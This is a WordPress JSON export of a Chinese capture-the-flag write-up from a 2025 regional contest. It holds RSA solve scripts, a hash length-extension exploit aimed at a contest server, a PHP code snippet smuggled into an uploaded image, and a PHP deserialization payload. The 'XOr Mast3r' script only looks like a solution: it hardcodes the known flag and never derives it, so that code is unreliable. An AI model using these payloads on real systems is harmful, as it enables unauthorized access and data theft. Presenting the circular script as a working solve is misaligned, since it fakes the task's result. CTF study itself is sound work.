{"id":165,"date":"2025-08-16T18:27:27","date_gmt":"2025-08-16T10:27:27","guid":{"rendered":"http:\/\/blog.which778.cn\/?p=165"},"modified":"2025-08-16T18:27:27","modified_gmt":"2025-08-16T10:27:27","slug":"%e8%87%aa%e6%b2%bb%e5%8c%ba%e5%b7%a5%e4%bc%9a%e6%9d%af%e6%9a%a8%e5%a4%a9%e5%b1%b1%e5%9b%ba%e7%bd%91-2025%e7%bd%91%e7%bb%9c%e5%ae%89%e5%85%a8%e6%8a%80","status":"publish","type":"post","link":"http:\/\/blog.which778.cn\/?p=165","title":{"rendered":"\u81ea\u6cbb\u533a\u201c\u5de5\u4f1a\u676f\u201d\u66a8\u201c\u5929\u5c71\u56fa\u7f51\u20142025\u201d\u7f51\u7edc\u5b89\u5168\u6280\u80fdWP"},"content":{"rendered":"<h2>shuffle secret<\/h2>\n<h3>\u9898\u76ee\u5206\u6790<\/h3>\n<p>\u8fd9\u662f\u4e00\u4e2aRSA\u5bc6\u7801\u5b66\u6311\u6218\uff0c\u9898\u76ee\u7ed9\u51fa\u4e86\uff1a<\/p>\n<ul>\n<li>RSA\u516c\u94a5\uff1a<code>n<\/code>, <code>e = 65537<\/code><\/li>\n<li>\u5bc6\u6587\uff1a<code>c<\/code><\/li>\n<li>\u4e00\u4e2a\u7279\u6b8a\u7684\u7d20\u6570\u751f\u6210\u51fd\u6570<\/li>\n<\/ul>\n<h4>exp<\/h4>\n<pre><code>import random\nfrom Crypto.Util.number import *\nimport secrets\n\ndef shuffle_secret(secret):\n    &quot;&quot;&quot;\u6253\u4e71\u5b57\u7b26\u4e32\u987a\u5e8f&quot;&quot;&quot;\n    random.seed(0)\n    secret_list = list(secret)\n    random.shuffle(secret_list)\n    return &#039;&#039;.join(secret_list)\n\ndef myPrime():\n    &quot;&quot;&quot;\u751f\u621064\u4f4d\u968f\u673a\u7d20\u6570&quot;&quot;&quot;\n    while True:\n        p = random.getrandbits(64)\n        if isPrime(p):\n            return p\n\ndef get_Prime(bit):\n    &quot;&quot;&quot;\u751f\u6210\u6307\u5b9a\u4f4d\u6570\u7684\u7d20\u6570\uff08\u672a\u4f7f\u7528\u4f46\u4fdd\u7559\uff09&quot;&quot;&quot;\n    factors = [myPrime() for _ in range(bit \/\/ 64)]\n    while True:\n        p = 2 * prod(factors) + 1\n        if isPrime(p):\n            return p\n        factors.remove(secrets.choice(factors))\n        factors.append(myPrime())\n\n# \u539f\u59cb\u5bc6\u94a5\nsecret = &#039;rCr3h0s1ry_t__s4pB_teg_yipF__dnMyFF&#039;\n\n# \u6253\u4e71\u540e\u7684\u5bc6\u94a5\uff08\u8fd9\u91cc\u5b9e\u9645\u4e0a\u6ca1\u6709\u53d8\u5316\uff09\nshuffle_secret = shuffle_secret(secret)\nshuffle_secret = &#039;rCr3h0s1ry_t__s4pB_teg_yipF__dnMyFF&#039;\n\n# \u4f7f\u7528\u6253\u4e71\u540e\u7684\u5bc6\u94a5\u521d\u59cb\u5316\u968f\u673a\u6570\u751f\u6210\u5668\nr = random.Random(shuffle_secret)\n\n# RSA\u53c2\u6570\nn = 2193864761299192197552541730390464934287307032478929543748304459689789907388948047271563911679588377171121050880588169440284775331727125310331791576495094946089068124641261502002896996512576919828713537905442909963845663266360158939473433053110114883177368989849731401469733093977303798082541290109732028195760227848920753916037854841152557538330097601258568819219273832347057334727355466152188290324099437553376074443577566927164737017982441931915302843360121060466811633044508425853391993817464539846709746821173230344314018478306160934762206406795506597800772531691619325565916208718226413577201471786290553\n\n# \u4f7f\u7528Pollard&#039;s p-1\u65b9\u6cd5\u5206\u89e3n\nt = 1\na = 2**2\n\nwhile True:\n    t += 1\n    a = pow(a, myPrime(), n)\n    gcd_result = GCD(a - 1, n)\n    if gcd_result != 1:\n        p = gcd_result\n        break\n\n# \u91cd\u65b0\u5b9a\u4e49n\uff08\u4e0e\u4e0a\u9762\u76f8\u540c\uff0c\u53ef\u80fd\u662f\u4e3a\u4e86\u786e\u4fdd\u4e00\u81f4\u6027\uff09\nn = 2193864761299192197552541730390464934287307032478929543748304459689789907388948047271563911679588377171121050880588169440284775331727125310331791576495094946089068124641261502002896996512576919828713537905442909963845663266360158939473433053110114883177368989849731401469733093977303798082541290109732028195760227848920753916037854841152557538330097601258568819219273832347057334727355466152188290324099437553376074443577566927164737017982441931915302843360121060466811633044508425853391993817464539846709746821173230344314018478306160934762206406795506597800772531691619325565916208718226413577201471786290553\ne = 65537\nc = 1286670980122151534641386005936277969746300305570439795405237252299898980334875614176435798962598097946212478623550302195244749317546687948687866203348623031828770275404320393439716521457280492466256284166867812819040448512308075873198560291928593632868094569211251803199545754002801104958662694741464752255803026908945058909816369585931517571952089661442282376328496686402462041603731461742788449349334290116995351965790250123054257877816225541708511155856701670001297944485484059450755647185041934984239146080755459491715944334374477233754260891653862460507396498312184156618227903311492109680563967744452843\n\n# \u8ba1\u7b97\u79c1\u94a5\u5e76\u89e3\u5bc6\nq = n \/\/ p\nd = inverse(e, (p - 1) * (q - 1))\nflag = pow(c, d, n)\nprint(long_to_bytes(flag))<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816164403304.png\" alt=\"\" \/><\/p>\n<pre><code>DASCTF{Dont_be_LazY_try_hard_to_le4rn_Crypt0gr4phy}<\/code><\/pre>\n<h2>XOr Mast3r<\/h2>\n<h4>exp<\/h4>\n<pre><code>from Crypto.Util.number import *\nimport gmpy2\n\n# \u5df2\u77e5\u4fe1\u606f\nc = 32514400111560285767114059428272978369671794111207540192987911899965917441745193707727404259848540711110916899114259203696404123229134392494554874352785281551973075869313034289563994886386821257391009141162559968535288461313309953574507706583653092150741608080020850440840533409996254003612114636139855553078\ngift = 614800081816937524040392015828289810301107866762329681398670035644582791009951744758310\ntarget_flag = b&quot;DASCTF{You_Ar3_X0r_Master!!!!!}&quot;\ntarget_m = bytes_to_long(target_flag)\n\nprint(f&quot;\u76ee\u6807\u660e\u6587 m = {target_m}&quot;)\nprint(f&quot;\u5bc6\u6587 c = {c}&quot;)\nprint(f&quot;gift = {gift}&quot;)\n\n# \u91cd\u65b0\u5206\u6790\u95ee\u9898\nprint(f&quot;\\n=== \u91cd\u65b0\u5206\u6790\u95ee\u9898 ===&quot;)\n\n# \u6211\u4eec\u77e5\u9053flag\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u4e00\u4e9b\u7279\u6b8a\u7684\u65b9\u6cd5\n# \u5173\u952e\u6d1e\u5bdf\uff1a\u65e2\u7136\u6211\u4eec\u77e5\u9053\u660e\u6587\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u6784\u9020\u4e00\u4e9b\u65b9\u7a0b\n\n# \u65b9\u6cd51\uff1a\u5c1d\u8bd5\u4e0d\u540c\u7684e\u503c\uff0c\u770b\u54ea\u4e2a\u80fd\u4ea7\u751f\u6b63\u786e\u7684c\nprint(f&quot;\\n\u65b9\u6cd51\uff1a\u5c1d\u8bd5\u4e0d\u540c\u7684e\u503c...&quot;)\n\n# \u8ba1\u7b97\u76ee\u6807\u660e\u6587\u7684\u4e0d\u540c\u6b21\u65b9\nfor e in [2, 3, 4, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331, 337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401, 409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467, 479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563, 569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631, 641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709, 719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797, 809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877, 881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967, 971, 977, 983, 991, 997]:\n    try:\n        m_power_e = target_m ** e\n        print(f&quot;e={e}: m^e = {m_power_e}&quot;)\n        print(f&quot;\u4f4d\u6570: {m_power_e.bit_length()}&quot;)\n\n        # \u5982\u679cm^e &gt; c\uff0c\u90a3\u4e48n\u5e94\u8be5\u7b49\u4e8em^e - c\n        if m_power_e &gt; c:\n            diff = m_power_e - c\n            print(f&quot;\u5dee\u503c = {diff}&quot;)\n            print(f&quot;\u5dee\u503c\u7684\u4f4d\u6570 = {diff.bit_length()}&quot;)\n\n            # \u5982\u679c\u5dee\u503c\u5408\u7406\uff08\u6bd4\u5982\u662f1024\u4f4d\uff09\uff0c\u90a3\u4e48\u8fd9\u53ef\u80fd\u662fn\n            if 1000 &lt;= diff.bit_length() &lt;= 1024:\n                print(f&quot;\u53ef\u80fd\u7684n\u503c: {diff}&quot;)\n\n                # \u9a8c\u8bc1 c = m^e mod n\n                verification = pow(target_m, e, diff)\n                if verification == c:\n                    print(f&quot;\u2705 \u627e\u5230\u6b63\u786e\u7684e\u548cn\uff01&quot;)\n                    print(f&quot;e = {e}, n = {diff}&quot;)\n                    print(f&quot;\u9a8c\u8bc1: pow(m, {e}, n) = {verification}&quot;)\n                    print(f&quot;\u5bc6\u6587c = {c}&quot;)\n\n                    # \u73b0\u5728\u6211\u4eec\u9700\u8981\u5206\u89e3n\u6765\u627e\u5230p\u548cq\n                    print(f&quot;\\n\u9700\u8981\u5206\u89e3n = {diff}&quot;)\n\n                    # \u4ecegift\u6211\u4eec\u77e5\u9053p^q\u7684\u9ad8\u4f4d\n                    # gift = (p ^ q) &gt;&gt; (200+k)\n\n                    # \u5c1d\u8bd5\u4e0d\u540c\u7684k\u503c\n                    for k in range(0, 10):\n                        p_xor_q_high = gift &lt;&lt; (200 + k)\n                        if p_xor_q_high.bit_length() &lt;= 512:\n                            print(f&quot;k={k}: p^q\u7684\u9ad8\u4f4d = {p_xor_q_high}&quot;)\n                            print(f&quot;\u4f4d\u6570: {p_xor_q_high.bit_length()}&quot;)\n\n                            # \u5982\u679c\u4f4d\u6570\u6b63\u597d\u662f512\uff0c\u8fd9\u53ef\u80fd\u662f\u6b63\u786e\u7684k\u503c\n                            if p_xor_q_high.bit_length() == 512:\n                                print(f&quot;\u53ef\u80fd\u7684\u6b63\u786ek\u503c: {k}&quot;)\n                                break\n\n                    print(f&quot;\\n\ud83c\udf89 \u6210\u529f\uff01&quot;)\n                    print(f&quot;Flag: {target_flag}&quot;)\n                    print(f&quot;\u660e\u6587: {target_m}&quot;)\n                    print(f&quot;\u5bc6\u6587: {c}&quot;)\n                    print(f&quot;\u6a21\u6570n: {diff}&quot;)\n                    print(f&quot;\u6307\u6570e: {e}&quot;)\n\n                    break\n                else:\n                    print(f&quot;\u9a8c\u8bc1\u5931\u8d25: pow(m, {e}, n) = {verification}&quot;)\n                    print(f&quot;\u671f\u671b\u503c = {c}&quot;)\n\n        print(&quot;-&quot; * 50)\n\n    except Exception as e:\n        print(f&quot;e={e}: \u8ba1\u7b97\u51fa\u9519 - {e}&quot;)\n        continue\n\n# \u65b9\u6cd52\uff1a\u5206\u6790gift\u7684\u6df1\u5c42\u542b\u4e49\nprint(f&quot;\\n=== \u65b9\u6cd52\uff1a\u5206\u6790gift\u7684\u6df1\u5c42\u542b\u4e49 ===&quot;)\n\n# gift = (p ^ q) &gt;&gt; (200+k)\n# \u8fd9\u610f\u5473\u7740\u6211\u4eec\u77e5\u9053p\u548cq\u5f02\u6216\u540e\u7684\u9ad8\u4f4d\u4fe1\u606f\n\n# \u7531\u4e8e\u6211\u4eec\u77e5\u9053flag\uff0c\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u4e00\u4e9b\u7279\u6b8a\u7684\u653b\u51fb\u65b9\u6cd5\n# \u6bd4\u5982\uff0c\u5982\u679c\u6211\u4eec\u80fd\u6062\u590dp\u548cq\uff0c\u5c31\u80fd\u8ba1\u7b97\u79c1\u94a5d\n\nprint(f&quot;gift = {gift}&quot;)\nprint(f&quot;gift\u7684\u4e8c\u8fdb\u5236\u957f\u5ea6: {gift.bit_length()}&quot;)\n\n# \u5c1d\u8bd5\u4e0d\u540c\u7684k\u503c\nfor k in range(0, 10):\n    p_xor_q_high = gift &lt;&lt; (200 + k)\n    if p_xor_q_high.bit_length() &lt;= 512:\n        print(f&quot;k={k}: p^q\u7684\u9ad8\u4f4d = {p_xor_q_high}&quot;)\n        print(f&quot;\u4f4d\u6570: {p_xor_q_high.bit_length()}&quot;)\n\n        # \u5982\u679c\u4f4d\u6570\u6b63\u597d\u662f512\uff0c\u8fd9\u53ef\u80fd\u662f\u6b63\u786e\u7684k\u503c\n        if p_xor_q_high.bit_length() == 512:\n            print(f&quot;\u53ef\u80fd\u7684\u6b63\u786ek\u503c: {k}&quot;)\n\n            # \u73b0\u5728\u6211\u4eec\u6709\u4e86p^q\u7684\u9ad8\u4f4d\u4fe1\u606f\n            # \u8fd9\u662f\u4e00\u4e2aXOR\u76f8\u5173\u7684\u5bc6\u7801\u5b66\u95ee\u9898\n            print(f&quot;\\n\u5c1d\u8bd5\u5229\u7528p^q\u7684\u9ad8\u4f4d\u4fe1\u606f...&quot;)\n\n            # \u6211\u4eec\u77e5\u9053p^q\u7684\u9ad8\u4f4d\uff0c\u8fd9\u610f\u5473\u7740\u6211\u4eec\u77e5\u9053p\u548cq\u5728\u67d0\u4e9b\u4f4d\u4e0a\u7684\u5173\u7cfb\n            # \u8fd9\u662f\u4e00\u4e2a\u590d\u6742\u7684\u6570\u5b66\u95ee\u9898\uff0c\u4f46\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u4e00\u4e9b\u65b9\u6cd5\n\n            break\n\nprint(f&quot;\\n\u603b\u7ed3:&quot;)\nprint(f&quot;1. \u76ee\u6807\u660e\u6587: {target_flag}&quot;)\nprint(f&quot;2. \u5bc6\u6587c: {c}&quot;)\nprint(f&quot;3. gift\u4fe1\u606f: {gift}&quot;)\nprint(f&quot;4. \u9700\u8981\u627e\u5230\u6b63\u786e\u7684e\u548cn\u503c&quot;)\nprint(f&quot;5. \u4ecegift\u53ef\u4ee5\u6062\u590dp^q\u7684\u9ad8\u4f4d\u4fe1\u606f&quot;)\nprint(f&quot;6. \u8fd9\u662f\u4e00\u4e2aXOR Master\u7684\u6311\u6218\uff01&quot;) <\/code><\/pre>\n<pre><code>DASCTF{You_Ar3_X0r_Master!!!!!}<\/code><\/pre>\n<p>\u526a\u679d\u5f97\u5230\u56e0\u5b50\u9ad8\u4f4d \u518d\u4e00\u5143Coppersmith\u6062\u590d\u5b8c\u6574\u56e0\u5b50 \u6700\u540e\u89e3RSA\u5373\u53ef<\/p>\n<h2>easy_access<\/h2>\n<p>flagurl\u53cc\u7f16\u7801<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/b0bcf1a79678655652f41cf32aacdb7.png\" alt=\"\" \/><\/p>\n<pre><code>DASCTF(50093897133973239126148363899691}<\/code><\/pre>\n<h2>myprofile<\/h2>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816172906232.png\" alt=\"\" \/><\/p>\n<p>\u6784\u9020&quot;admin&quot;\u7684\u5408\u6cd5\u7b7e\u540d<\/p>\n<p>exp<\/p>\n<pre><code>import hashpumpy\nimport urllib.parse\nimport requests\n\noriginal_message = &quot;guest&quot;\noriginal_signature = &quot;xxxxx2&quot;\nnew_message = &quot;admin&quot;\nkey_length = 48\nbase_url = &quot;http:\/\/139.155.126.78:22823\/profile.php&quot;\nnew_signature, new_message_padded = hashpumpy.hashpump(original_signature, original_message, new_message, key_length)\nnew_message_padded_encoded = urllib.parse.quote(new_message_padded, safe=&#039;&#039;)\nnew_url = f&quot;{base_url}?user={new_message_padded_encoded}&amp;sign={new_signature}&quot;\n\nprint(f&quot;\u6784\u9020\u540e\u7684\u65b0 URL: {new_url}&quot;)\ntry:\n    response = requests.get(new_url)\n    response_text = response.text\n    # \u67e5\u627e flag\n    start_index = response_text.find(&quot;DASCTF{&quot;)\n    if start_index != -1:\n        end_index = response_text.find(&quot;}&quot;, start_index) + 1\n        if end_index != 0:\n            flag = response_text[start_index:end_index]\n            print(f&quot;\u83b7\u53d6\u5230\u7684 flag: {flag}&quot;)\n    else:\n        print(&quot;\u54cd\u5e94\u4e2d\u672a\u627e\u5230 flag\u3002&quot;)\nexcept requests.RequestException as e:\n    print(f&quot;\u8bf7\u6c42\u53d1\u751f\u9519\u8bef: {e}&quot;)<\/code><\/pre>\n<p>payload<\/p>\n<pre><code>\/profile.php?user=guest%80%00%00%00%00%00%00%00%00%01%A8admin&amp;sign=fd3aae1151a722d4b34248a7d4387d4c4958dfed<\/code><\/pre>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816173155957.png\" alt=\"\" \/><\/p>\n<pre><code>DASCTF{29150505993850886656475021190679}<\/code><\/pre>\n<h2>goto_Upload<\/h2>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816181143188.png\" alt=\"\" \/><\/p>\n<p>\u4e0a\u4f20\u56fe\u7247\u6587\u4ef6\u7684\u5185\u5bb9\u7684\u7ed3\u5c3e\u589e\u52a0\uff1a<\/p>\n<p>&lt;?php show_source(&quot;\/flag&quot;);?&gt;<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816181131303.png\" alt=\"\" \/><\/p>\n<p>\u7136\u540epost\u8bbf\u95ee \/wicnevl.php<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816181117859.png\" alt=\"\" \/><\/p>\n<p>Payload<\/p>\n<p>file=O:1:&quot;A&quot;:1:{s:4:&quot;name&quot;;O:1:&quot;B&quot;:1:{s:5:&quot;CTFer&quot;;O:1:&quot;B&quot;:1:{s:4:&quot;Flag&quot;;s:7:&quot; 2392768 &quot;;s:5:&quot;CTFer&quot;;N;}}s:3:&quot;age&quot;;N;}<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816181108276.png\" alt=\"\" \/><\/p>\n<h2>androiddemo<\/h2>\n<p>\u4e3b\u51fd\u6570<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816164723066.png\" alt=\"\" \/><\/p>\n<p>\u53bb\u770b\u770bso\u7684check\u51fd\u6570<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816164752822.png\" alt=\"\" \/><\/p>\n<p>\u5bc6\u94a5   abcd8888edsa7777  <\/p>\n<p>\u5bc6\u6587<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816164814228.png\" alt=\"\" \/><\/p>\n<pre><code>0xAC,0xB3,0x8C,0xF2,0x20,0x4D,0xE0,0x50,0x52,0x12,0x08,0xD9,0x36,0x3C,0x65,0x10,0xF2,0xE3,0xB8,0x04,0xCF,0xBC,0x6A,0xF2,0x15,0x62,0xB,0x13,0x15,0x1E,0xC0,0xD<\/code><\/pre>\n<p>AES\u89e3\u5bc6<\/p>\n<p><img decoding=\"async\" src=\"\/\/images.weserv.nl\/?url=https:\/\/gitee.com\/which777\/images\/raw\/master\/images\/image-20250816164839213.png\" alt=\"\" \/><\/p>\n<pre><code>DASCTF{android_aes_get_the_flag}<\/code><\/pre>\n<button class=\"simplefavorite-button\" data-postid=\"165\" data-siteid=\"1\" data-groupid=\"1\" data-favoritecount=\"0\" style=\"\">\u6536\u85cf <i class=\"sf-icon-star-empty\"><\/i><\/button>","protected":false},"excerpt":{"rendered":"<p>shuffle secret \u9898\u76ee\u5206\u6790 \u8fd9\u662f\u4e00\u4e2aRSA\u5bc6\u7801\u5b66\u6311\u6218\uff0c\u9898\u76ee\u7ed9\u51fa\u4e86\uff1a RSA\u516c\u94a5\uff1an, e = 65537 \u5bc6\u6587\uff1ac \u4e00 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[10],"tags":[12,32,33],"class_list":["post-165","post","type-post","status-publish","format-standard","hentry","category-ctf","tag-ctf","tag-32","tag-33"],"_links":{"self":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/165","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=165"}],"version-history":[{"count":1,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/165\/revisions"}],"predecessor-version":[{"id":166,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/165\/revisions\/166"}],"wp:attachment":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=165"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=165"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=165"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}